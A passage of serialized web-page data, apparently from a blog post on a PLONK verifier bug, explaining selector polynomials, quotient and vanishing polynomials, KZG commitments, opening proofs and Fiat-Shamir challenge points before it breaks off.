6,"tag":217,"props":19980,"children":19982},{"className":19981},[428],[19983],{"type":32,"value":1889},{"type":32,"value":7599},{"type":26,"tag":83,"props":19986,"children":19988},{"className":19987},[213,4703],[19989],{"type":26,"tag":217,"props":19990,"children":19992},{"className":19991},[225],[19993],{"type":26,"tag":217,"props":19994,"children":19996},{"className":19995,"ariaHidden":231},[230],[19997],{"type":26,"tag":217,"props":19998,"children":20000},{"className":19999},[236],[20001,20005,20063,20068,20073],{"type":26,"tag":217,"props":20002,"children":20004},{"className":20003,"style":5514},[241],[],{"type":26,"tag":217,"props":20006,"children":20008},{"className":20007},[247],[20009,20014],{"type":26,"tag":217,"props":20010,"children":20012},{"className":20011,"style":19823},[247,2152],[20013],{"type":32,"value":19826},{"type":26,"tag":217,"props":20015,"children":20017},{"className":20016},[2160],[20018],{"type":26,"tag":217,"props":20019,"children":20021},{"className":20020},[299,300],[20022,20052],{"type":26,"tag":217,"props":20023,"children":20025},{"className":20024},[305],[20026,20047],{"type":26,"tag":217,"props":20027,"children":20029},{"className":20028,"style":2699},[310],[20030],{"type":26,"tag":217,"props":20031,"children":20032},{"style":19845},[20033,20037],{"type":26,"tag":217,"props":20034,"children":20036},{"className":20035,"style":2182},[320],[],{"type":26,"tag":217,"props":20038,"children":20040},{"className":20039},[2187,2188,2189,2190],[20041],{"type":26,"tag":217,"props":20042,"children":20044},{"className":20043,"style":2753},[247,2152,2190],[20045],{"type":32,"value":20046},"O",{"type":26,"tag":217,"props":20048,"children":20050},{"className":20049},[409],[20051],{"type":32,"value":412},{"type":26,"tag":217,"props":20053,"children":20055},{"className":20054},[305],[20056],{"type":26,"tag":217,"props":20057,"children":20059},{"className":20058,"style":2210},[310],[20060],{"type":26,"tag":217,"props":20061,"children":20062},{},[],{"type":26,"tag":217,"props":20064,"children":20066},{"className":20065},[288],[20067],{"type":32,"value":1851},{"type":26,"tag":217,"props":20069,"children":20071},{"className":20070},[247,2152],[20072],{"type":32,"value":2542},{"type":26,"tag":217,"props":20074,"children":20076},{"className":20075},[428],[20077],{"type":32,"value":1889},{"type":32,"value":20079}," and the selectors become ",{"type":26,"tag":65,"props":20081,"children":20082},{},[20083],{"type":32,"value":20084},"selector polynomials",{"type":32,"value":19795},{"type":26,"tag":83,"props":20087,"children":20089},{"className":20088},[213,4703],[20090],{"type":26,"tag":217,"props":20091,"children":20093},{"className":20092},[225],[20094],{"type":26,"tag":217,"props":20095,"children":20097},{"className":20096,"ariaHidden":231},[230],[20098],{"type":26,"tag":217,"props":20099,"children":20101},{"className":20100},[236],[20102,20106,20164,20169,20174],{"type":26,"tag":217,"props":20103,"children":20105},{"className":20104,"style":5514},[241],[],{"type":26,"tag":217,"props":20107,"children":20109},{"className":20108},[247],[20110,20116],{"type":26,"tag":217,"props":20111,"children":20113},{"className":20112},[247,2152],[20114],{"type":32,"value":20115},"Q",{"type":26,"tag":217,"props":20117,"children":20119},{"className":20118},[2160],[20120],{"type":26,"tag":217,"props":20121,"children":20123},{"className":20122},[299,300],[20124,20153],{"type":26,"tag":217,"props":20125,"children":20127},{"className":20126},[305],[20128,20148],{"type":26,"tag":217,"props":20129,"children":20131},{"className":20130,"style":2699},[310],[20132],{"type":26,"tag":217,"props":20133,"children":20134},{"style":2275},[20135,20139],{"type":26,"tag":217,"props":20136,"children":20138},{"className":20137,"style":2182},[320],[],{"type":26,"tag":217,"props":20140,"children":20142},{"className":20141},[2187,2188,2189,2190],[20143],{"type":26,"tag":217,"props":20144,"children":20146},{"className":20145,"style":2825},[247,2152,2190],[20147],{"type":32,"value":19620},{"type":26,"tag":217,"props":20149,"children":20151},{"className":20150},[409],[20152],{"type":32,"value":412},{"type":26,"tag":217,"props":20154,"children":20156},{"className":20155},[305],[20157],{"type":26,"tag":217,"props":20158,"children":20160},{"className":20159,"style":2210},[310],[20161],{"type":26,"tag":217,"props":20162,"children":20163},{},[],{"type":26,"tag":217,"props":20165,"children":20167},{"className":20166},[288],[20168],{"type":32,"value":1851},{"type":26,"tag":217,"props":20170,"children":20172},{"className":20171},[247,2152],[20173],{"type":32,"value":2542},{"type":26,"tag":217,"props":20175,"children":20177},{"className":20176},[428],[20178],{"type":32,"value":1889},{"type":32,"value":7599},{"type":26,"tag":83,"props":20181,"children":20183},{"className":20182},[213,4703],[20184],{"type":26,"tag":217,"props":20185,"children":20187},{"className":20186},[225],[20188],{"type":26,"tag":217,"props":20189,"children":20191},{"className":20190,"ariaHidden":231},[230],[20192],{"type":26,"tag":217,"props":20193,"children":20195},{"className":20194},[236],[20196,20200,20257,20262,20267],{"type":26,"tag":217,"props":20197,"children":20199},{"className":20198,"style":5514},[241],[],{"type":26,"tag":217,"props":20201,"children":20203},{"className":20202},[247],[20204,20209],{"type":26,"tag":217,"props":20205,"children":20207},{"className":20206},[247,2152],[20208],{"type":32,"value":20115},{"type":26,"tag":217,"props":20210,"children":20212},{"className":20211},[2160],[20213],{"type":26,"tag":217,"props":20214,"children":20216},{"className":20215},[299,300],[20217,20246],{"type":26,"tag":217,"props":20218,"children":20220},{"className":20219},[305],[20221,20241],{"type":26,"tag":217,"props":20222,"children":20224},{"className":20223,"style":2699},[310],[20225],{"type":26,"tag":217,"props":20226,"children":20227},{"style":2275},[20228,20232],{"type":26,"tag":217,"props":20229,"children":20231},{"className":20230,"style":2182},[320],[],{"type":26,"tag":217,"props":20233,"children":20235},{"className":20234},[2187,2188,2189,2190],[20236],{"type":26,"tag":217,"props":20237,"children":20239},{"className":20238},[247,2152,2190],[20240],{"type":32,"value":19726},{"type":26,"tag":217,"props":20242,"children":20244},{"className":20243},[409],[20245],{"type":32,"value":412},{"type":26,"tag":217,"props":20247,"children":20249},{"className":20248},[305],[20250],{"type":26,"tag":217,"props":20251,"children":20253},{"className":20252,"style":2210},[310],[20254],{"type":26,"tag":217,"props":20255,"children":20256},{},[],{"type":26,"tag":217,"props":20258,"children":20260},{"className":20259},[288],[20261],{"type":32,"value":1851},{"type":26,"tag":217,"props":20263,"children":20265},{"className":20264},[247,2152],[20266],{"type":32,"value":2542},{"type":26,"tag":217,"props":20268,"children":20270},{"className":20269},[428],[20271],{"type":32,"value":1889},{"type":32,"value":20273},", etc., all interpolated over a domain ",{"type":26,"tag":83,"props":20275,"children":20277},{"className":20276},[213,4703],[20278],{"type":26,"tag":217,"props":20279,"children":20281},{"className":20280},[225],[20282],{"type":26,"tag":217,"props":20283,"children":20285},{"className":20284,"ariaHidden":231},[230],[20286],{"type":26,"tag":217,"props":20287,"children":20289},{"className":20288},[236],[20290,20294],{"type":26,"tag":217,"props":20291,"children":20293},{"className":20292,"style":4800},[241],[],{"type":26,"tag":217,"props":20295,"children":20297},{"className":20296,"style":2680},[247,2152],[20298],{"type":32,"value":2683},{"type":32,"value":9965},{"type":26,"tag":83,"props":20301,"children":20303},{"className":20302},[213,4703],[20304],{"type":26,"tag":217,"props":20305,"children":20307},{"className":20306},[225],[20308],{"type":26,"tag":217,"props":20309,"children":20311},{"className":20310,"ariaHidden":231},[230],[20312],{"type":26,"tag":217,"props":20313,"children":20315},{"className":20314},[236],[20316,20320],{"type":26,"tag":217,"props":20317,"children":20319},{"className":20318,"style":6316},[241],[],{"type":26,"tag":217,"props":20321,"children":20323},{"className":20322},[247,2152],[20324],{"type":32,"value":2197},{"type":32,"value":20326},"-th roots of unity. Evaluating ",{"type":26,"tag":83,"props":20328,"children":20330},{"className":20329},[213,4703],[20331],{"type":26,"tag":217,"props":20332,"children":20334},{"className":20333},[225],[20335],{"type":26,"tag":217,"props":20336,"children":20338},{"className":20337,"ariaHidden":231},[230],[20339],{"type":26,"tag":217,"props":20340,"children":20342},{"className":20341},[236],[20343,20347,20404,20409,20414],{"type":26,"tag":217,"props":20344,"children":20346},{"className":20345,"style":5514},[241],[],{"type":26,"tag":217,"props":20348,"children":20350},{"className":20349},[247],[20351,20356],{"type":26,"tag":217,"props":20352,"children":20354},{"className":20353,"style":19823},[247,2152],[20355],{"type":32,"value":19826},{"type":26,"tag":217,"props":20357,"children":20359},{"className":20358},[2160],[20360],{"type":26,"tag":217,"props":20361,"children":20363},{"className":20362},[299,300],[20364,20393],{"type":26,"tag":217,"props":20365,"children":20367},{"className":20366},[305],[20368,20388],{"type":26,"tag":217,"props":20369,"children":20371},{"className":20370,"style":2699},[310],[20372],{"type":26,"tag":217,"props":20373,"children":20374},{"style":19845},[20375,20379],{"type":26,"tag":217,"props":20376,"children":20378},{"className":20377,"style":2182},[320],[],{"type":26,"tag":217,"props":20380,"children":20382},{"className":20381},[2187,2188,2189,2190],[20383],{"type":26,"tag":217,"props":20384,"children":20386},{"className":20385},[247,2152,2190],[20387],{"type":32,"value":19726},{"type":26,"tag":217,"props":20389,"children":20391},{"className":20390},[409],[20392],{"type":32,"value":412},{"type":26,"tag":217,"props":20394,"children":20396},{"className":20395},[305],[20397],{"type":26,"tag":217,"props":20398,"children":20400},{"className":20399,"style":2210},[310],[20401],{"type":26,"tag":217,"props":20402,"children":20403},{},[],{"type":26,"tag":217,"props":20405,"children":20407},{"className":20406},[288],[20408],{"type":32,"value":1851},{"type":26,"tag":217,"props":20410,"children":20412},{"className":20411},[247,2152],[20413],{"type":32,"value":2542},{"type":26,"tag":217,"props":20415,"children":20417},{"className":20416},[428],[20418],{"type":32,"value":1889},{"type":32,"value":20420}," at the ",{"type":26,"tag":83,"props":20422,"children":20424},{"className":20423},[213,4703],[20425],{"type":26,"tag":217,"props":20426,"children":20428},{"className":20427},[225],[20429],{"type":26,"tag":217,"props":20430,"children":20432},{"className":20431,"ariaHidden":231},[230],[20433],{"type":26,"tag":217,"props":20434,"children":20436},{"className":20435},[236],[20437,20441],{"type":26,"tag":217,"props":20438,"children":20440},{"className":20439,"style":19294},[241],[],{"type":26,"tag":217,"props":20442,"children":20444},{"className":20443},[247,2152],[20445],{"type":32,"value":2290},{"type":32,"value":20447},"-th root recovers the left wire value at row ",{"type":26,"tag":83,"props":20449,"children":20451},{"className":20450},[213,4703],[20452],{"type":26,"tag":217,"props":20453,"children":20455},{"className":20454},[225],[20456],{"type":26,"tag":217,"props":20457,"children":20459},{"className":20458,"ariaHidden":231},[230],[20460],{"type":26,"tag":217,"props":20461,"children":20463},{"className":20462},[236],[20464,20468],{"type":26,"tag":217,"props":20465,"children":20467},{"className":20466,"style":19294},[241],[],{"type":26,"tag":217,"props":20469,"children":20471},{"className":20470},[247,2152],[20472],{"type":32,"value":2290},{"type":32,"value":180},{"type":26,"tag":20475,"props":20476,"children":20477},"polynomial-interpolation-panel",{},[],{"type":26,"tag":39,"props":20479,"children":20480},{},[20481,20483,20523,20525,20591,20593,20724,20726,20766,20768,20808,20810,20850,20852,20974],{"type":32,"value":20482},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":26,"tag":83,"props":20484,"children":20486},{"className":20485},[213,4703],[20487],{"type":26,"tag":217,"props":20488,"children":20490},{"className":20489},[225],[20491],{"type":26,"tag":217,"props":20492,"children":20494},{"className":20493,"ariaHidden":231},[230],[20495],{"type":26,"tag":217,"props":20496,"children":20498},{"className":20497},[236],[20499,20503,20508,20513,20518],{"type":26,"tag":217,"props":20500,"children":20502},{"className":20501,"style":5514},[241],[],{"type":26,"tag":217,"props":20504,"children":20506},{"className":20505,"style":2153},[247,2152],[20507],{"type":32,"value":5948},{"type":26,"tag":217,"props":20509,"children":20511},{"className":20510},[288],[20512],{"type":32,"value":1851},{"type":26,"tag":217,"props":20514,"children":20516},{"className":20515},[247,2152],[20517],{"type":32,"value":2542},{"type":26,"tag":217,"props":20519,"children":20521},{"className":20520},[428],[20522],{"type":32,"value":1889},{"type":32,"value":20524}," that combines selectors and witnesses. If the prover was honest, ",{"type":26,"tag":83,"props":20526,"children":20528},{"className":20527},[213,4703],[20529],{"type":26,"tag":217,"props":20530,"children":20532},{"className":20531},[225],[20533],{"type":26,"tag":217,"props":20534,"children":20536},{"className":20535,"ariaHidden":231},[230],[20537,20578],{"type":26,"tag":217,"props":20538,"children":20540},{"className":20539},[236],[20541,20545,20550,20555,20560,20565,20569,20574],{"type":26,"tag":217,"props":20542,"children":20544},{"className":20543,"style":5514},[241],[],{"type":26,"tag":217,"props":20546,"children":20548},{"className":20547,"style":2153},[247,2152],[20549],{"type":32,"value":5948},{"type":26,"tag":217,"props":20551,"children":20553},{"className":20552},[288],[20554],{"type":32,"value":1851},{"type":26,"tag":217,"props":20556,"children":20558},{"className":20557},[247,2152],[20559],{"type":32,"value":2542},{"type":26,"tag":217,"props":20561,"children":20563},{"className":20562},[428],[20564],{"type":32,"value":1889},{"type":26,"tag":217,"props":20566,"children":20568},{"className":20567,"style":259},[258],[],{"type":26,"tag":217,"props":20570,"children":20572},{"className":20571},[264],[20573],{"type":32,"value":267},{"type":26,"tag":217,"props":20575,"children":20577},{"className":20576,"style":259},[258],[],{"type":26,"tag":217,"props":20579,"children":20581},{"className":20580},[236],[20582,20586],{"type":26,"tag":217,"props":20583,"children":20585},{"className":20584,"style":5294},[241],[],{"type":26,"tag":217,"props":20587,"children":20589},{"className":20588},[247],[20590],{"type":32,"value":1883},{"type":32,"value":20592}," at every row index in the domain. The vanishing polynomial ",{"type":26,"tag":83,"props":20594,"children":20596},{"className":20595},[213,4703],[20597],{"type":26,"tag":217,"props":20598,"children":20600},{"className":20599},[225],[20601],{"type":26,"tag":217,"props":20602,"children":20604},{"className":20603,"ariaHidden":231},[230],[20605,20648,20711],{"type":26,"tag":217,"props":20606,"children":20608},{"className":20607},[236],[20609,20613,20620,20625,20630,20635,20639,20644],{"type":26,"tag":217,"props":20610,"children":20612},{"className":20611,"style":5514},[241],[],{"type":26,"tag":217,"props":20614,"children":20617},{"className":20615,"style":20616},[247,2152],"margin-right:0.07153em;",[20618],{"type":32,"value":20619},"Z",{"type":26,"tag":217,"props":20621,"children":20623},{"className":20622},[288],[20624],{"type":32,"value":1851},{"type":26,"tag":217,"props":20626,"children":20628},{"className":20627},[247,2152],[20629],{"type":32,"value":2542},{"type":26,"tag":217,"props":20631,"children":20633},{"className":20632},[428],[20634],{"type":32,"value":1889},{"type":26,"tag":217,"props":20636,"children":20638},{"className":20637,"style":259},[258],[],{"type":26,"tag":217,"props":20640,"children":20642},{"className":20641},[264],[20643],{"type":32,"value":267},{"type":26,"tag":217,"props":20645,"children":20647},{"className":20646,"style":259},[258],[],{"type":26,"tag":217,"props":20649,"children":20651},{"className":20650},[236],[20652,20657,20698,20702,20707],{"type":26,"tag":217,"props":20653,"children":20656},{"className":20654,"style":20655},[241],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":26,"tag":217,"props":20658,"children":20660},{"className":20659},[247],[20661,20666],{"type":26,"tag":217,"props":20662,"children":20664},{"className":20663},[247,2152],[20665],{"type":32,"value":2542},{"type":26,"tag":217,"props":20667,"children":20669},{"className":20668},[2160],[20670],{"type":26,"tag":217,"props":20671,"children":20673},{"className":20672},[299],[20674],{"type":26,"tag":217,"props":20675,"children":20677},{"className":20676},[305],[20678],{"type":26,"tag":217,"props":20679,"children":20681},{"className":20680,"style":6084},[310],[20682],{"type":26,"tag":217,"props":20683,"children":20684},{"style":6105},[20685,20689],{"type":26,"tag":217,"props":20686,"children":20688},{"className":20687,"style":2182},[320],[],{"type":26,"tag":217,"props":20690,"children":20692},{"className":20691},[2187,2188,2189,2190],[20693],{"type":26,"tag":217,"props":20694,"children":20696},{"className":20695},[247,2152,2190],[20697],{"type":32,"value":2197},{"type":26,"tag":217,"props":20699,"children":20701},{"className":20700,"style":336},[258],[],{"type":26,"tag":217,"props":20703,"children":20705},{"className":20704},[341],[20706],{"type":32,"value":3379},{"type":26,"tag":217,"props":20708,"children":20710},{"className":20709,"style":336},[258],[],{"type":26,"tag":217,"props":20712,"children":20714},{"className":20713},[236],[20715,20719],{"type":26,"tag":217,"props":20716,"children":20718},{"className":20717,"style":5294},[241],[],{"type":26,"tag":217,"props":20720,"children":20722},{"className":20721},[247],[20723],{"type":32,"value":185},{"type":32,"value":20725}," is zero on exactly those points, so if all constraints hold then ",{"type":26,"tag":83,"props":20727,"children":20729},{"className":20728},[213,4703],[20730],{"type":26,"tag":217,"props":20731,"children":20733},{"className":20732},[225],[20734],{"type":26,"tag":217,"props":20735,"children":20737},{"className":20736,"ariaHidden":231},[230],[20738],{"type":26,"tag":217,"props":20739,"children":20741},{"className":20740},[236],[20742,20746,20751,20756,20761],{"type":26,"tag":217,"props":20743,"children":20745},{"className":20744,"style":5514},[241],[],{"type":26,"tag":217,"props":20747,"children":20749},{"className":20748,"style":20616},[247,2152],[20750],{"type":32,"value":20619},{"type":26,"tag":217,"props":20752,"children":20754},{"className":20753},[288],[20755],{"type":32,"value":1851},{"type":26,"tag":217,"props":20757,"children":20759},{"className":20758},[247,2152],[20760],{"type":32,"value":2542},{"type":26,"tag":217,"props":20762,"children":20764},{"className":20763},[428],[20765],{"type":32,"value":1889},{"type":32,"value":20767}," divides ",{"type":26,"tag":83,"props":20769,"children":20771},{"className":20770},[213,4703],[20772],{"type":26,"tag":217,"props":20773,"children":20775},{"className":20774},[225],[20776],{"type":26,"tag":217,"props":20777,"children":20779},{"className":20778,"ariaHidden":231},[230],[20780],{"type":26,"tag":217,"props":20781,"children":20783},{"className":20782},[236],[20784,20788,20793,20798,20803],{"type":26,"tag":217,"props":20785,"children":20787},{"className":20786,"style":5514},[241],[],{"type":26,"tag":217,"props":20789,"children":20791},{"className":20790,"style":2153},[247,2152],[20792],{"type":32,"value":5948},{"type":26,"tag":217,"props":20794,"children":20796},{"className":20795},[288],[20797],{"type":32,"value":1851},{"type":26,"tag":217,"props":20799,"children":20801},{"className":20800},[247,2152],[20802],{"type":32,"value":2542},{"type":26,"tag":217,"props":20804,"children":20806},{"className":20805},[428],[20807],{"type":32,"value":1889},{"type":32,"value":20809},", yielding a quotient polynomial ",{"type":26,"tag":83,"props":20811,"children":20813},{"className":20812},[213,4703],[20814],{"type":26,"tag":217,"props":20815,"children":20817},{"className":20816},[225],[20818],{"type":26,"tag":217,"props":20819,"children":20821},{"className":20820,"ariaHidden":231},[230],[20822],{"type":26,"tag":217,"props":20823,"children":20825},{"className":20824},[236],[20826,20830,20835,20840,20845],{"type":26,"tag":217,"props":20827,"children":20829},{"className":20828,"style":5514},[241],[],{"type":26,"tag":217,"props":20831,"children":20833},{"className":20832,"style":2153},[247,2152],[20834],{"type":32,"value":178},{"type":26,"tag":217,"props":20836,"children":20838},{"className":20837},[288],[20839],{"type":32,"value":1851},{"type":26,"tag":217,"props":20841,"children":20843},{"className":20842},[247,2152],[20844],{"type":32,"value":2542},{"type":26,"tag":217,"props":20846,"children":20848},{"className":20847},[428],[20849],{"type":32,"value":1889},{"type":32,"value":20851}," with ",{"type":26,"tag":83,"props":20853,"children":20855},{"className":20854},[213,4703],[20856],{"type":26,"tag":217,"props":20857,"children":20859},{"className":20858},[225],[20860],{"type":26,"tag":217,"props":20861,"children":20863},{"className":20862,"ariaHidden":231},[230],[20864,20905,20946],{"type":26,"tag":217,"props":20865,"children":20867},{"className":20866},[236],[20868,20872,20877,20882,20887,20892,20896,20901],{"type":26,"tag":217,"props":20869,"children":20871},{"className":20870,"style":5514},[241],[],{"type":26,"tag":217,"props":20873,"children":20875},{"className":20874,"style":2153},[247,2152],[20876],{"type":32,"value":5948},{"type":26,"tag":217,"props":20878,"children":20880},{"className":20879},[288],[20881],{"type":32,"value":1851},{"type":26,"tag":217,"props":20883,"children":20885},{"className":20884},[247,2152],[20886],{"type":32,"value":2542},{"type":26,"tag":217,"props":20888,"children":20890},{"className":20889},[428],[20891],{"type":32,"value":1889},{"type":26,"tag":217,"props":20893,"children":20895},{"className":20894,"style":259},[258],[],{"type":26,"tag":217,"props":20897,"children":20899},{"className":20898},[264],[20900],{"type":32,"value":267},{"type":26,"tag":217,"props":20902,"children":20904},{"className":20903,"style":259},[258],[],{"type":26,"tag":217,"props":20906,"children":20908},{"className":20907},[236],[20909,20913,20918,20923,20928,20933,20937,20942],{"type":26,"tag":217,"props":20910,"children":20912},{"className":20911,"style":5514},[241],[],{"type":26,"tag":217,"props":20914,"children":20916},{"className":20915,"style":2153},[247,2152],[20917],{"type":32,"value":178},{"type":26,"tag":217,"props":20919,"children":20921},{"className":20920},[288],[20922],{"type":32,"value":1851},{"type":26,"tag":217,"props":20924,"children":20926},{"className":20925},[247,2152],[20927],{"type":32,"value":2542},{"type":26,"tag":217,"props":20929,"children":20931},{"className":20930},[428],[20932],{"type":32,"value":1889},{"type":26,"tag":217,"props":20934,"children":20936},{"className":20935,"style":336},[258],[],{"type":26,"tag":217,"props":20938,"children":20940},{"className":20939},[341],[20941],{"type":32,"value":344},{"type":26,"tag":217,"props":20943,"children":20945},{"className":20944,"style":336},[258],[],{"type":26,"tag":217,"props":20947,"children":20949},{"className":20948},[236],[20950,20954,20959,20964,20969],{"type":26,"tag":217,"props":20951,"children":20953},{"className":20952,"style":5514},[241],[],{"type":26,"tag":217,"props":20955,"children":20957},{"className":20956,"style":20616},[247,2152],[20958],{"type":32,"value":20619},{"type":26,"tag":217,"props":20960,"children":20962},{"className":20961},[288],[20963],{"type":32,"value":1851},{"type":26,"tag":217,"props":20965,"children":20967},{"className":20966},[247,2152],[20968],{"type":32,"value":2542},{"type":26,"tag":217,"props":20970,"children":20972},{"className":20971},[428],[20973],{"type":32,"value":1889},{"type":32,"value":180},{"type":26,"tag":39,"props":20976,"children":20977},{},[20978],{"type":26,"tag":6468,"props":20979,"children":20982},{"alt":20980,"src":20981},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":26,"tag":607,"props":20984,"children":20986},{"id":20985},"polynomial-commitments-and-opening-proofs",[20987],{"type":32,"value":20988},"Polynomial commitments and opening proofs",{"type":26,"tag":39,"props":20990,"children":20991},{},[20992,20994,20999,21001,21006],{"type":32,"value":20993},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":26,"tag":65,"props":20995,"children":20996},{},[20997],{"type":32,"value":20998},"commitments",{"type":32,"value":21000},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":26,"tag":65,"props":21002,"children":21003},{},[21004],{"type":32,"value":21005},"opening proof",{"type":32,"value":21007}," that the claimed value is consistent with the earlier commitment.",{"type":26,"tag":39,"props":21009,"children":21010},{},[21011],{"type":32,"value":21012},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":26,"tag":607,"props":21014,"children":21016},{"id":21015},"reducing-to-a-single-random-point",[21017],{"type":32,"value":21018},"Reducing to a single random point",{"type":26,"tag":39,"props":21020,"children":21021},{},[21022,21024,21064,21066,21093,21095,21217,21219,21244],{"type":32,"value":21023},"After the prover commits to all polynomials, including ",{"type":26,"tag":83,"props":21025,"children":21027},{"className":21026},[213,4703],[21028],{"type":26,"tag":217,"props":21029,"children":21031},{"className":21030},[225],[21032],{"type":26,"tag":217,"props":21033,"children":21035},{"className":21034,"ariaHidden":231},[230],[21036],{"type":26,"tag":217,"props":21037,"children":21039},{"className":21038},[236],[21040,21044,21049,21054,21059],{"type":26,"tag":217,"props":21041,"children":21043},{"className":21042,"style":5514},[241],[],{"type":26,"tag":217,"props":21045,"children":21047},{"className":21046,"style":2153},[247,2152],[21048],{"type":32,"value":178},{"type":26,"tag":217,"props":21050,"children":21052},{"className":21051},[288],[21053],{"type":32,"value":1851},{"type":26,"tag":217,"props":21055,"children":21057},{"className":21056},[247,2152],[21058],{"type":32,"value":2542},{"type":26,"tag":217,"props":21060,"children":21062},{"className":21061},[428],[21063],{"type":32,"value":1889},{"type":32,"value":21065},", the verifier picks a random challenge point ",{"type":26,"tag":83,"props":21067,"children":21069},{"className":21068},[213,4703],[21070],{"type":26,"tag":217,"props":21071,"children":21073},{"className":21072},[225],[21074],{"type":26,"tag":217,"props":21075,"children":21077},{"className":21076,"ariaHidden":231},[230],[21078],{"type":26,"tag":217,"props":21079,"children":21081},{"className":21080},[236],[21082,21086],{"type":26,"tag":217,"props":21083,"children":21085},{"className":21084,"style":6316},[241],[],{"type":26,"tag":217,"props":21087,"children":21090},{"className":21088,"style":21089},[247,2152],"margin-right:0.04398em;",[21091],{"type":32,"value":21092},"z",{"type":32,"value":21094}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":26,"tag":83,"props":21096,"children":21098},{"className":21097},[213,4703],[21099],{"type":26,"tag":217,"props":21100,"children":21102},{"className":21101},[225],[21103],{"type":26,"tag":217,"props":21104,"children":21106},{"className":21105,"ariaHidden":231},[230],[21107,21148,21189],{"type":26,"tag":217,"props":21108,"children":21110},{"className":21109},[236],[21111,21115,21120,21125,21130,21135,21139,21144],{"type":26,"tag":217,"props":21112,"children":21114},{"className":21113,"style":5514},[241],[],{"type":26,"tag":217,"props":21116,"children":21118},{"className":21117,"style":2153},[247,2152],[21119],{"type":32,"value":5948},{"type":26,"tag":217,"props":21121,"children":21123},{"className":21122},[288],[21124],{"type":32,"value":1851},{"type":26,"tag":217,"props":21126,"children":21128},{"className":21127,"style":21089},[247,2152],[21129],{"type":32,"value":21092},{"type":26,"tag":217,"props":21131,"children":21133},{"className":21132},[428],[21134],{"type":32,"value":1889},{"type":26,"tag":217,"props":21136,"children":21138},{"className":21137,"style":259},[258],[],{"type":26,"tag":217,"props":21140,"children":21142},{"className":21141},[264],[21143],{"type":32,"value":267},{"type":26,"tag":217,"props":21145,"children":21147},{"className":21146,"style":259},[258],[],{"type":26,"tag":217,"props":21149,"children":21151},{"className":21150},[236],[21152,21156,21161,21166,21171,21176,21180,21185],{"type":26,"tag":217,"props":21153,"children":21155},{"className":21154,"style":5514},[241],[],{"type":26,"tag":217,"props":21157,"children":21159},{"className":21158,"style":2153},[247,2152],[21160],{"type":32,"value":178},{"type":26,"tag":217,"props":21162,"children":21164},{"className":21163},[288],[21165],{"type":32,"value":1851},{"type":26,"tag":217,"props":21167,"children":21169},{"className":21168,"style":21089},[247,2152],[21170],{"type":32,"value":21092},{"type":26,"tag":217,"props":21172,"children":21174},{"className":21173},[428],[21175],{"type":32,"value":1889},{"type":26,"tag":217,"props":21177,"children":21179},{"className":21178,"style":336},[258],[],{"type":26,"tag":217,"props":21181,"children":21183},{"className":21182},[341],[21184],{"type":32,"value":344},{"type":26,"tag":217,"props":21186,"children":21188},{"className":21187,"style":336},[258],[],{"type":26,"tag":217,"props":21190,"children":21192},{"className":21191},[236],[21193,21197,21202,21207,21212],{"type":26,"tag":217,"props":21194,"children":21196},{"className":21195,"style":5514},[241],[],{"type":26,"tag":217,"props":21198,"children":21200},{"className":21199,"style":20616},[247,2152],[21201],{"type":32,"value":20619},{"type":26,"tag":217,"props":21203,"children":21205},{"className":21204},[288],[21206],{"type":32,"value":1851},{"type":26,"tag":217,"props":21208,"children":21210},{"className":21209,"style":21089},[247,2152],[21211],{"type":32,"value":21092},{"type":26,"tag":217,"props":21213,"children":21215},{"className":21214},[428],[21216],{"type":32,"value":1889},{"type":32,"value":21218}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":26,"tag":83,"props":21220,"children":21222},{"className":21221},[213,4703],[21223],{"type":26,"tag":217,"props":21224,"children":21226},{"className":21225},[225],[21227],{"type":26,"tag":217,"props":21228,"children":21230},{"className":21229,"ariaHidden":231},[230],[21231],{"type":26,"tag":217,"props":21232,"children":21234},{"className":21233},[236],[21235,21239],{"type":26,"tag":217,"props":21236,"children":21238},{"className":21237,"style":6316},[241],[],{"type":26,"tag":217,"props":21240,"children":21242},{"className":21241,"style":21089},[247,2152],[21243],{"type":32,"value":21092},{"type":32,"value":21245}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":26,"tag":39,"props":21247,"children":21248},{},[21249,21251,21276,21278,21283],{"type":32,"value":21250},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":26,"tag":83,"props":21252,"children":21254},{"className":21253},[213,4703],[21255],{"type":26,"tag":217,"props":21256,"children":21258},{"className":21257},[225],[21259],{"type":26,"tag":217,"props":21260,"children":21262},{"className":21261,"ariaHidden":231},[230],[21263],{"type":26,"tag":217,"props":21264,"children":21266},{"className":21265},[236],[21267,21271],{"type":26,"tag":217,"props":21268,"children":21270},{"className":21269,"style":6316},[241],[],{"type":26,"tag":217,"props":21272,"children":21274},{"className":21273,"style":21089},[247,2152],[21275],{"type":32,"value":21092},{"type":32,"value":21277},", the prover supplies ",{"type":26,"tag":65,"props":21279,"children":21280},{},[21281],{"type":32,"value":21282},"evaluation claims",{"type":32,"value":21284}," that must be checked against those commitments with opening proofs.",{"type":26,"tag":39,"props":21286,"children":21287},{},[21288,21290,21295],{"type":32,"value":21289},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":26,"tag":65,"props":21291,"children":21292},{},[21293],{"type":32,"value":21294},"before",{"type":32,"value":21296}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":26,"tag":607,"props":21298,"children":21300},{"id":21299},"what-the-verifier-is-actually-allowed-to-trust",[21301],{"type":32,"value":21302},"What the verifier is actually allowed to trust",{"type":26,"tag":39,"props":21304,"children":21305},{},[21306,21308,21313],{"type":32,"value":21307},"For this bug, one invariant matters more than the rest: ",{"type":26,"tag":9348,"props":21309,"children":21310},{},[21311],{"type":32,"value":21312},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier 